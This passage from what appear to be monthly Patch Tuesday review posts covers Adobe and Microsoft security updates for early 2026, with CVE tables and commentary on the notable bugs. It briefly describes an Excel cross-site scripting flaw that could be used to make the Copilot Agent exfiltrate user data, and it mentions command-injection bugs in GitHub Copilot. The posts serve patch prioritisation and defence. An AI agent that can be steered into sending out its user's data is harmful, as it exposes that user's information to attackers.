CVE-2026-21231	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21239	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21245	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21222	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21243	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20841	Windows Notepad App Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21249	Windows NTLM Spoofing Vulnerability	Important	3.3	No	No	Spoofing
CVE-2026-21508	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21237	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21242	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-1861 *	Chromium: CVE-2026-1861 Heap buffer overflow in libvpx	High	N/A	No	No	RCE
CVE-2026-1862 *	Chromium: CVE-2026-1862 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-0391	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order. There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The March 2026 Security Update Review

Sat, 25 Jul 2026 19:00:43 +0200

I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for March 2026

For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for Acrobat likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for Experience Manager is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for Commerce is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release.

The fix for Illustrator corrects seven bugs, including a few Critical-rated ones. The patch for Substance 3D Painter fixes nine different CVEs, all rated Important. That’s not the case for Substance 3D Stager, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the Adobe DNG Software Development Kit (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for March 2026

This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.

This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:

- CVE-2026-26144 - Microsoft Excel Information Disclosure Vulnerability
This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.

- CVE-2026-26110/CVE-2026-26113 - Microsoft Office Remote Code Execution Vulnerability
Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.

- CVE-2026-23669 - Windows Print Spooler Remote Code Execution Vulnerability
Just reading the title makes me twitch with remembrances of Print Nightmare from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.

- CVE-2026-23668 - Windows Graphics Component Elevation of Privilege Vulnerability
This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.

Here’s the full list of CVEs released by Microsoft for March 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-26127	.NET Denial of Service Vulnerability	Important	7.5	Yes	No	DoS
CVE-2026-21262	SQL Server Elevation of Privilege Vulnerability	Important	8.8	Yes	No	EoP
CVE-2026-23651	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26124	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-26122	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21536	Microsoft Devices Pricing Program Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-26144	Microsoft Excel Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26110	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26113	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-26125	Payment Orchestrator Service Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-26131	.NET Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25177	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26117	Arc Enabled Servers - Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26130	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-23661	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23662	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-23664	Azure IoT Explorer Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26121	Azure IOT Explorer Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-26118	Azure MCP Server Tools Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23667	Broadcast DVR Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25190	GDI Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25181	GDI+ Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-26030 *	GitHub: CVE-2026-26030 Microsoft Semantic Kernel InMemoryVectorStore filter functionality vulnerable	Important	9.9	No	No	RCE
CVE-2026-23654 *	GitHub: Zero Shot SCFoundation Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26141	Hybrid Worker Extension (Arc-enabled Windows VMs) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23665 †	Linux Azure Diagnostic extension (LAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23674	MapUrlToZone Security Feature Bypass Vulnerability	Important	7.5	No	No	SFB
CVE-2026-26123	Microsoft Authenticator Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26148 †	Microsoft Azure AD SSH Login extension for Linux Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-25167	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.4	No	No	EoP
CVE-2026-26107	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26108	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26109	Microsoft Excel Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-26112	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26134	Microsoft Office Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26106	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26114	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-26105	Microsoft SharePoint Server Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-24283	Multiple UNC Provider Kernel Driver Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-25165	Performance Counters for Windows Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24282	Push message Routing Service Elevation of Privilege Vulnerability	Important	5.5	No	No	Info
CVE-2026-26115	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-26116	SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-20967	System Center Operations Manager (SCOM) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-24285	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24291	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25186	Windows Accessibility Infrastructure (ATBroker.exe) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-23660 †	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24293	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25176	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25178	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25179	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23656	Windows App Installer Spoofing Vulnerability	Important	5.9	No	No	Spoofing
CVE-2026-25171	Windows Authentication Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-23671	Windows Bluetooth RFCOM Protocol Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24292	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24295	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24296	Windows Device Association Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25189	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25174	Windows Extensible File Allocation Table Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25168	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-25169	Windows Graphics Component Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-23668	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-25180	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-25170	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-24297	Windows Kerberos Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-24287	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24289	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26132	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-24288	Windows Mobile Broadband Driver Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-25175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23669	Windows Print Spooler Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-24290	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23673	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25172	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25173	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-26111	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-25185	Windows Shell Link Processing Spoofing Vulnerability	Important	5.3	No	No	Spoofing
CVE-2026-24294	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26128	Windows SMB Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25166	Windows System Image Manager Assessment and Deployment Kit (ADK) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-25188	Windows Telephony Service Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-23672	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-25187	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-3536 *	Chromium: CVE-2026-3536 Integer overflow in ANGLE	Critical	N/A	No	No	RCE
CVE-2026-3538 *	Chromium: CVE-2026-3538 Integer overflow in Skia	Critical	N/A	No	No	RCE
CVE-2026-3539 *	Chromium: CVE-2026-3539 Object lifecycle issue in DevTools	High	N/A	No	No	RCE
CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
